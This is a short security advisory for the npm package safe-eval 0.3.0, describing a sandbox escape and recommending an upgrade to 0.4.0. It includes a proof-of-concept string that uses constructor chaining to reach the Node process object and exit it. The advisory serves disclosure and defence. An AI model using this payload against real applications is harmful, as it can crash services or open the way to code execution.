Sandbox Escaping

  • Vulnerable module: safe-eval
  • Introduced through: safe-eval@0.3.0

Detailed paths

  • Introduced through: safe-eval@0.3.0
    Remediation: Upgrade to safe-eval@0.4.0.

Overview

[safe-eval] is a version of eval, claiming to be safer.

Affected versions of this package are vulnerable to Sandbox Escaping. User input is not sanitized before being passed on to the safeEval function. A malicious user could access the object constructors, allowing access to the standard library, then escaping the sandbox.

Proof of Concept:

var safeEval = require('safe-eval');
safeEval("this.constructor.constructor('return process')().exit()");

Remediation

Upgrade safe-eval to version 0.4.0 or higher.
